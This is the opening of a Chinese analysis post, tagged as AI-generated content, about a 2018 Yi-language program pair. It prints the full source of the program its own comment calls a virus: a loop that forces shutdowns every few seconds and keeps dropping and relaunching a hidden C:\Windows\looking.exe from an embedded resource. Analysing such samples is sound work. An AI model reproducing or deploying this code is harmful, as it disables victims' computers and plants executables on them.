【AIGC】12 行的关机程序,重编 11 次滚到 7.4 MB:靠量长度重建自我携带链,再让反编译器对一遍答案

起因 翻旧文件时找到一对 2018 年的易语言程序:一个叫「主程序」,一个叫「检查程序」。下面是主程序的源码,12 行 —— 整篇文章前半的结论全从这 12 行长出来,而检查程序那 10 行我是到第六节才把它解出来的: .版本 2 .程序集 程序集1 .子程序 _启动子程序, 整数型, , 本子程序在程序启动后最先执行 ' 病毒主程序 运行 (“shutdown -s -t 10000”, 真, #隐藏窗口) .判断循环首 (1 = 1) 运行 (“shutdown -s -t 3”, 真, #隐藏窗口) .如果真 (进程_是否存在 (“looking.exe”) = 假) 写到文件 (“C:\Windows\looking.exe”, #图片1) 运行 (“C:\Windows\looking.exe”, 真, #隐藏窗口) .如果真结束 .判断循环尾 () 返回 (0) 逻辑一眼看完:先挂一个 10000 秒(≈2.8 小时)之后的关机,然后进死循环 —— 每一圈重新挂一个 3 秒后关机,并且检查 looking.exe 还在不在,不在就把自己带的 #图片1 写成 C:\Windows\looking.exe 再拉起来。 ...